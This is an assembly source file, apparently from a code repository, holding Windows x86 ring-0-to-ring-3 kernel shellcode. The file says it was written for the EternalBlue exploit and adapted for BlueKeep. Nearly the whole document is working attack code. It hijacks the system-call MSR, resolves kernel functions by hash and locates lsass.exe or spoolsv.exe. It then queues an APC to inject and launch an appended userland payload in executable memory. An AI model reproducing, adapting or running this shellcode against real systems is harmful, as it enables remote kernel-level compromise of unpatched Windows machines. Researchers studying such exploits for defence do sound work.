599 lines
20 KiB
NASM
Raw Normal View History

2019-11-19 14:12:45 +08:00
;
; Windows x86 kernel shellcode from ring 0 to ring 3 by sleepya
; The shellcode is written for eternalblue exploit: eternalblue_exploit7.py
;
; Minor modifications were made by 0xeb-bp for BlueKeep.
;
; Idea for Ring 0 to Ring 3 via APC from Sean Dillon (@zerosum0x0)
;
;
; Note:
; - The userland shellcode is run in a new thread of system process.
; If userland shellcode causes any exception, the system process get killed.
; - On idle target with multiple core processors, the hijacked system call might take a while (> 5 minutes) to
; get call because system call is called on other processors.
; - Compiling shellcode with specific Windows version macro, corrupted buffer will be freed.
; This helps running exploit against same target repeatly more reliable.
; - The userland payload MUST be appened to this shellcode.
;
; Reference:
; - http://www.geoffchappell.com/studies/windows/km/index.htm (structures info)
; - https://github.com/reactos/reactos/blob/master/reactos/ntoskrnl/ke/apc.c
BITS 32
;ORG 0
PSGETCURRENTPROCESS_HASH EQU 0xdbf47c78
PSGETPROCESSID_HASH EQU 0x170114e1
PSGETPROCESSIMAGEFILENAME_HASH EQU 0x77645f3f
LSASS_EXE_HASH EQU 0xc1fa6a5a
SPOOLSV_EXE_HASH EQU 0x3ee083d8
ZWALLOCATEVIRTUALMEMORY_HASH EQU 0x576e99ea
PSGETTHREADTEB_HASH EQU 0xcef84c3e
KEINITIALIZEAPC_HASH EQU 0x6d195cc4
KEINSERTQUEUEAPC_HASH EQU 0xafcc4634
PSGETPROCESSPEB_HASH EQU 0xb818b848
CREATETHREAD_HASH EQU 0x835e515e
DATA_ORIGIN_SYSCALL_OFFSET EQU 0x0
DATA_MODULE_ADDR_OFFSET EQU 0x4
DATA_QUEUEING_KAPC_OFFSET EQU 0x8
DATA_EPROCESS_OFFSET EQU 0xc
DATA_KAPC_OFFSET EQU 0x10
section .text
global shellcode_start
shellcode_start:
setup_syscall_hook:
; IRQL is DISPATCH_LEVEL when got code execution
%ifdef WIN7
mov eax, [esp+0x20] ; fetch SRVNET_BUFFER address from function argument
; set nByteProcessed to free corrupted buffer after return
mov ecx, [eax+0x14]
mov [eax+0x1c], ecx
%elifdef WIN8
%endif
pushad
call _setup_syscall_hook_find_eip
_setup_syscall_hook_find_eip:
pop ebx
call set_ebp_data_address_fn
; read current syscall
mov ecx, 0x176
rdmsr
; do NOT replace saved original syscall address with hook syscall
lea edi, [ebx+syscall_hook-_setup_syscall_hook_find_eip]
cmp eax, edi
je _setup_syscall_hook_done
; if (saved_original_syscall != &KiFastCallEntry) do_first_time_initialize
cmp dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET], eax
je _hook_syscall
; save original syscall
mov dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET], eax
; first time on the target, clear the data area
; edx should be zero from rdmsr
mov dword [ebp+DATA_QUEUEING_KAPC_OFFSET], edx
_hook_syscall:
; set a new syscall on running processor
; setting MSR 0x176 affects only running processor
mov eax, edi
xor edx, edx
wrmsr
_setup_syscall_hook_done:
popad
_keep_halting: ; for BlueKeep
hlt ;
jmp _keep_halting ; for BlueKeep
%ifdef WIN7
xor eax, eax
%elifdef WIN8
xor eax, eax
%endif
ret 0x24
;========================================================================
; Find memory address in HAL heap for using as data area
; Arguments: ebx = any address in this shellcode
; Return: ebp = data address
;========================================================================
set_ebp_data_address_fn:
; On idle target without user application, syscall on hijacked processor might not be called immediately.
; Find some address to store the data, the data in this address MUST not be modified
; when exploit is rerun before syscall is called
lea ebp, [ebx + 0x1000]
shr ebp, 12
shl ebp, 12
sub ebp, 0x50 ; for KAPC struct too
ret
syscall_hook:
mov ecx, 0x23
push 0x30
pop fs
mov ds,cx
mov es,cx
mov ecx, dword [fs:0x40]
mov esp, dword [ecx+4]
push ecx ; want this stack space to store original syscall addr
pushfd
pushad
call _syscall_hook_find_eip
_syscall_hook_find_eip:
pop ebx
call set_ebp_data_address_fn
mov eax, [ebp+DATA_ORIGIN_SYSCALL_OFFSET]
add eax, 0x17 ; adjust syscall entry, so we do not need to reverse start of syscall handler
mov [esp+0x24], eax ; 0x4 (pushfd) + 0x20 (pushad) = 0x24
; use lock cmpxchg for queueing APC only one at a time
xor eax, eax
cdq
inc edx
lock cmpxchg byte [ebp+DATA_QUEUEING_KAPC_OFFSET], dl
jnz _syscall_hook_done
;======================================
; restore syscall
;======================================
; an error after restoring syscall should never occur
mov ecx, 0x176
cdq
mov eax, [ebp+DATA_ORIGIN_SYSCALL_OFFSET]
wrmsr
; allow interrupts while executing shellcode
sti
call r3_to_r0_start
cli
_syscall_hook_done:
popad
popfd
ret
r3_to_r0_start:
;======================================
; find nt kernel address
;======================================
mov eax, dword [ebp+DATA_ORIGIN_SYSCALL_OFFSET] ; KiFastCallEntry is an address in nt kernel
shr eax, 0xc ; strip to page size
shl eax, 0xc
_find_nt_walk_page:
sub eax, 0x1000 ; walk along page size
cmp word [eax], 0x5a4d ; 'MZ' header
jne _find_nt_walk_page
; save nt address
mov [ebp+DATA_MODULE_ADDR_OFFSET], eax
;======================================
; get current EPROCESS and ETHREAD
;======================================
mov eax, PSGETCURRENTPROCESS_HASH
call win_api_direct
xchg edi, eax ; edi = EPROCESS
;======================================
; find offset of EPROCESS.ImageFilename
;======================================
mov eax, PSGETPROCESSIMAGEFILENAME_HASH
push edi
call win_api_direct
sub eax, edi
mov ecx, eax ; ecx = offset of EPROCESS.ImageFilename
;======================================
; find offset of EPROCESS.ThreadListHead
;======================================
; possible diff from ImageFilename offset is 0x1c and 0x24 (Win8+)
; if offset of ImageFilename is 0x170, current is (Win8+)
%ifdef WIN7
lea ebx, [eax+0x1c]
%elifdef WIN8
lea ebx, [eax+0x24]
%else
cmp eax, 0x170 ; eax is still an offset of EPROCESS.ImageFilename
jne _find_eprocess_threadlist_offset_win7
add eax, 0x8
_find_eprocess_threadlist_offset_win7:
lea ebx, [eax+0x1c] ; ebx = offset of EPROCESS.ThreadListHead
%endif
;======================================
; find offset of ETHREAD.ThreadListEntry
;======================================
; edi = EPROCESS
; ebx = offset of EPROCESS.ThreadListHead
lea esi, [edi+ebx] ; esi = address of EPROCESS.ThreadListHead
mov eax, dword [fs:0x124] ; get _ETHREAD pointer from KPCR
; ETHREAD.ThreadListEntry must be between ETHREAD (eax) and ETHREAD+0x400
_find_ethread_threadlist_offset_loop:
mov esi, dword [esi]
; if (esi - edi < 0x400) found
mov edx, esi
sub edx, eax
cmp edx, 0x400
ja _find_ethread_threadlist_offset_loop ; need unsigned comparison
push edx ; save offset of ETHREAD.ThreadListEntry to stack
;======================================
; find offset of EPROCESS.ActiveProcessLinks
;======================================
mov eax, PSGETPROCESSID_HASH
call get_proc_addr
mov eax, dword [eax+0xa] ; get offset from code (offset of UniqueProcessId is always > 0x7f)
lea edx, [eax+4] ; edx = offset of EPROCESS.ActiveProcessLinks = offset of EPROCESS.UniqueProcessId + sizeof(EPROCESS.UniqueProcessId)
;======================================
; find target process by iterating over EPROCESS.ActiveProcessLinks WITHOUT lock
;======================================
; edi = EPROCESS
; ecx = offset of EPROCESS.ImageFilename
; edx = offset of EPROCESS.ActiveProcessLinks
_find_target_process_loop:
lea esi, [edi+ecx]
call calc_hash
cmp eax, LSASS_EXE_HASH ; "lsass.exe"
jz found_target_process
%ifndef COMPACT
cmp eax, SPOOLSV_EXE_HASH ; "spoolsv.exe"
jz found_target_process
%endif
; next process
mov edi, [edi+edx]
sub edi, edx
jmp _find_target_process_loop
found_target_process:
; The allocation for userland payload will be in KernelApcRoutine.
; KernelApcRoutine is run in a target process context. So no need to use KeStackAttachProcess()
;======================================
; save EPROCESS for finding CreateThread address in kernel KAPC routine
;======================================
mov [ebp+DATA_EPROCESS_OFFSET], edi
;======================================
; iterate ThreadList until KeInsertQueueApc() success
;======================================
; edi = EPROCESS
; ebx = offset of EPROCESS.ThreadListHead
lea ebx, [edi+ebx] ; use ebx for iterating thread
lea esi, [ebp+DATA_KAPC_OFFSET] ; esi = KAPC address
pop edi ; edi = offset of ETHREAD.ThreadListEntry
; checking alertable from ETHREAD structure is not reliable because each Windows version has different offset.
; Moreover, alertable thread need to be waiting state which is more difficult to check.
; try queueing APC then check KAPC member is more reliable.
_insert_queue_apc_loop:
; move backward because non-alertable and NULL TEB.ActivationContextStackPointer threads always be at front
mov ebx, [ebx+4]
; no check list head
; userland shellcode (at least CreateThread() function) need non NULL TEB.ActivationContextStackPointer.
; the injected process will be crashed because of access violation if TEB.ActivationContextStackPointer is NULL.
; Note: APC routine does not require non-NULL TEB.ActivationContextStackPointer.
; from my observation, KTRHEAD.Queue is always NULL when TEB.ActivationContextStackPointer is NULL.
; Teb member is next to Queue member.
mov eax, PSGETTHREADTEB_HASH
call get_proc_addr
mov eax, dword [eax+0xa] ; get offset from code (offset of Teb is always > 0x7f)
%ifdef WIN7
sub eax, edi
cmp dword [ebx+eax-12], 0 ; KTHREAD.Queue MUST not be NULL
%elifdef WIN8
sub eax, edi
cmp dword [ebx+eax-4], 0 ; KTHREAD.Queue MUST not be NULL
%else
cmp al, 0xa0 ; win8+ offset is 0xa8
ja _kthread_queue_check
sub al, 8 ; late 5.2 to 6.1, displacement is 0xc
_kthread_queue_check:
sub eax, edi
cmp dword [ebx+eax-4], 0 ; KTHREAD.Queue MUST not be NULL
%endif
je _insert_queue_apc_loop
; KeInitializeApc(PKAPC,
; PKTHREAD,
; KAPC_ENVIRONMENT = OriginalApcEnvironment (0),
; PKKERNEL_ROUTINE = kernel_apc_routine,
; PKRUNDOWN_ROUTINE = NULL,
; PKNORMAL_ROUTINE = userland_shellcode,
; KPROCESSOR_MODE = UserMode (1),
; PVOID Context);
xor eax, eax
push ebp ; context
push 1 ; UserMode
push ebp ; userland shellcode (MUST NOT be NULL)
push eax ; NULL
call _init_kapc_find_kroutine
_init_kapc_find_kroutine:
add dword [esp], kernel_kapc_routine-_init_kapc_find_kroutine ; KernelApcRoutine
push eax ; OriginalApcEnvironment
push ebx
sub [esp], edi ; ETHREAD
push esi ; KAPC
mov eax, KEINITIALIZEAPC_HASH
call win_api_direct
; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0);
; SystemArgument1 is second argument in usermode code
; SystemArgument2 is third argument in usermode code
xor eax, eax
push eax
push eax ; SystemArgument2
push eax ; SystemArgument1
push esi ; PKAPC
mov eax, KEINSERTQUEUEAPC_HASH
call win_api_direct
; if insertion failed, try next thread
test eax, eax
jz _insert_queue_apc_loop
mov eax, [ebp+DATA_KAPC_OFFSET+0xc] ; get KAPC.ApcListEntry
; EPROCESS pointer 4 bytes
; InProgressFlags 1 byte
; KernelApcPending 1 byte
; if success, UserApcPending MUST be 1
cmp byte [eax+0xe], 1
je _insert_queue_apc_done
; manual remove list without lock
mov [eax], eax
mov [eax+4], eax
jmp _insert_queue_apc_loop
_insert_queue_apc_done:
; The PEB address is needed in kernel_apc_routine. Setting QUEUEING_KAPC to 0 should be in kernel_apc_routine.
_r3_to_r0_done:
ret
;========================================================================
; Call function in specific module
;
; All function arguments are passed as calling normal function with extra register arguments
; Extra Arguments: [ebp+DATA_MODULE_ADDR_OFFSET] = module pointer
; eax = hash of target function name
;========================================================================
win_api_direct:
call get_proc_addr
jmp eax
;========================================================================
; Get function address in specific module
;
; Arguments: [ebp+DATA_MODULE_ADDR_OFFSET] = module pointer
; eax = hash of target function name
; Return: eax = offset
;========================================================================
get_proc_addr:
pushad
mov ebp, [ebp+DATA_MODULE_ADDR_OFFSET] ; ebp = module address
xchg edi, eax ; edi = hash
mov eax, dword [ebp+0x3c] ; Get PE header e_lfanew
mov edx, dword [ebp+eax+0x78] ; Get export tables RVA
add edx, ebp ; edx = EAT
mov ecx, dword [edx+0x18] ; NumberOfFunctions
mov ebx, dword [edx+0x20] ; FunctionNames
add ebx, ebp
_get_proc_addr_get_next_func:
; When we reach the start of the EAT (we search backwards), we hang or crash
dec ecx ; decrement NumberOfFunctions
mov esi, dword [ebx+ecx*4] ; Get rva of next module name
add esi, ebp ; Add the modules base address
call calc_hash
cmp eax, edi ; Compare the hashes
jnz _get_proc_addr_get_next_func ; try the next function
_get_proc_addr_finish:
mov ebx, dword [edx+0x24]
add ebx, ebp ; ordinate table virtual address
mov cx, word [ebx+ecx*2] ; desired functions ordinal
mov ebx, dword [edx+0x1c] ; Get the function addresses table rva
add ebx, ebp ; Add the modules base address
mov eax, dword [ebx+ecx*4] ; Get the desired functions RVA
add eax, ebp ; Add the modules base address to get the functions actual VA
mov [esp+0x1c], eax
popad
ret
;========================================================================
; Calculate ASCII string hash. Useful for comparing ASCII string in shellcode.
;
; Argument: esi = string to hash
; Clobber: esi
; Return: eax = hash
;========================================================================
calc_hash:
push edx
xor eax, eax
cdq
_calc_hash_loop:
lodsb ; Read in the next byte of the ASCII string
ror edx, 13 ; Rotate right our hash value
add edx, eax ; Add the next byte of the string
test eax, eax ; Stop when found NULL
jne _calc_hash_loop
xchg edx, eax
pop edx
ret
; KernelApcRoutine is called when IRQL is APC_LEVEL in (queued) Process context.
; But the IRQL is simply raised from PASSIVE_LEVEL in KiCheckForKernelApcDelivery().
; Moreover, there is no lock when calling KernelApcRoutine.
;
; VOID KernelApcRoutine(
; IN PKAPC Apc,
; IN PKNORMAL_ROUTINE *NormalRoutine,
; IN PVOID *NormalContext,
; IN PVOID *SystemArgument1,
; IN PVOID *SystemArgument2)
kernel_kapc_routine:
; reorder stack to make everything easier
pop eax
mov [esp+0x10], eax ; move saved eip to &SystemArgument2
pop eax ; PKAPC (unused)
pop ecx ; &NormalRoutine
pop eax ; &NormalContext
pop edx ; &SystemArgument1
pushad
push edx ; &SystemArgument1 (use for set CreateThread address)
push ecx ; &NormalRoutine
mov ebp, [eax] ; *NormalContext is our data area pointer
;======================================
; ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40)
;======================================
xor eax, eax
mov byte [fs:0x24], al ; set IRQL to PASSIVE_LEVEL (ZwAllocateVirtualMemory() requires)
cdq
mov al, 0x40 ; eax = 0x40
push eax ; PAGE_EXECUTE_READWRITE = 0x40
shl eax, 6 ; eax = 0x40 << 6 = 0x1000
push eax ; MEM_COMMIT = 0x1000
push esp ; &RegionSize = 0x1000 (reuse MEM_COMMIT argument in stack)
push edx ; ZeroBits
mov [ecx], edx
push ecx ; baseAddr = 0
dec edx
push edx ; ProcessHandle = -1
mov eax, ZWALLOCATEVIRTUALMEMORY_HASH
call win_api_direct
%ifndef COMPACT
test eax, eax
jnz _kernel_kapc_routine_exit
%endif
;======================================
; copy userland payload
;======================================
pop eax
mov edi, [eax]
call _kernel_kapc_routine_find_userland
_kernel_kapc_routine_find_userland:
pop esi
add esi, userland_start-_kernel_kapc_routine_find_userland
mov ecx, 0x400 ; fix payload size to 1024 bytes
rep movsb
;======================================
; find current PEB
;======================================
mov eax, [ebp+DATA_EPROCESS_OFFSET]
push eax
mov eax, PSGETPROCESSPEB_HASH
call win_api_direct
;======================================
; find CreateThread address (in kernel32.dll)
;======================================
mov eax, [eax + 0xc] ; PEB->Ldr
mov eax, [eax + 0x14] ; InMemoryOrderModuleList
%ifdef COMPACT
mov esi, [eax] ; first one always be executable, skip it
lodsd ; skip ntdll.dll
%else
_find_kernel32_dll_loop:
mov eax, [eax] ; first one always be executable
; offset 0x1c (WORD) => must be 0x40 (full name len c:\windows\system32\kernel32.dll)
; offset 0x24 (WORD) => must be 0x18 (name len kernel32.dll)
; offset 0x28 => is name
; offset 0x10 => is dllbase
;cmp word [eax+0x1c], 0x40
;jne _find_kernel32_dll_loop
cmp word [eax+0x24], 0x18
jne _find_kernel32_dll_loop
mov edx, [eax+0x28]
; check only "32" because name might be lowercase or uppercase
cmp dword [edx+0xc], 0x00320033 ; 3\x002\x00
jnz _find_kernel32_dll_loop
%endif
mov ebx, [eax+0x10]
mov [ebp+DATA_MODULE_ADDR_OFFSET], ebx
mov eax, CREATETHREAD_HASH
call get_proc_addr
; save CreateThread address to SystemArgument1
pop ecx
mov [ecx], eax
_kernel_kapc_routine_exit:
xor eax, eax
; clear queueing kapc flag, allow other hijacked system call to run shellcode
mov byte [ebp+DATA_QUEUEING_KAPC_OFFSET], al
; restore IRQL to APC_LEVEL
inc eax
mov byte [fs:0x24], al
popad
ret
userland_start:
userland_start_thread:
; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)
pop edx ; saved eip
pop eax ; first argument (NormalContext)
pop eax ; CreateThread address passed from kernel
pop ecx ; another argument (NULL) passed from kernel
push ecx ; lpThreadId = NULL
push ecx ; dwCreationFlags = 0
push ecx ; lpParameter = NULL
call _userland_start_thread_find_payload
_userland_start_thread_find_payload:
add dword [esp], userland_payload-_userland_start_thread_find_payload ; lpStartAddr
push ecx ; dwStackSize = 0
push ecx ; lpThreadAttributes = NULL
push edx ; restore saved eip
jmp eax
userland_payload:
xor eax, eax ;To more easily add shellcode in exploit code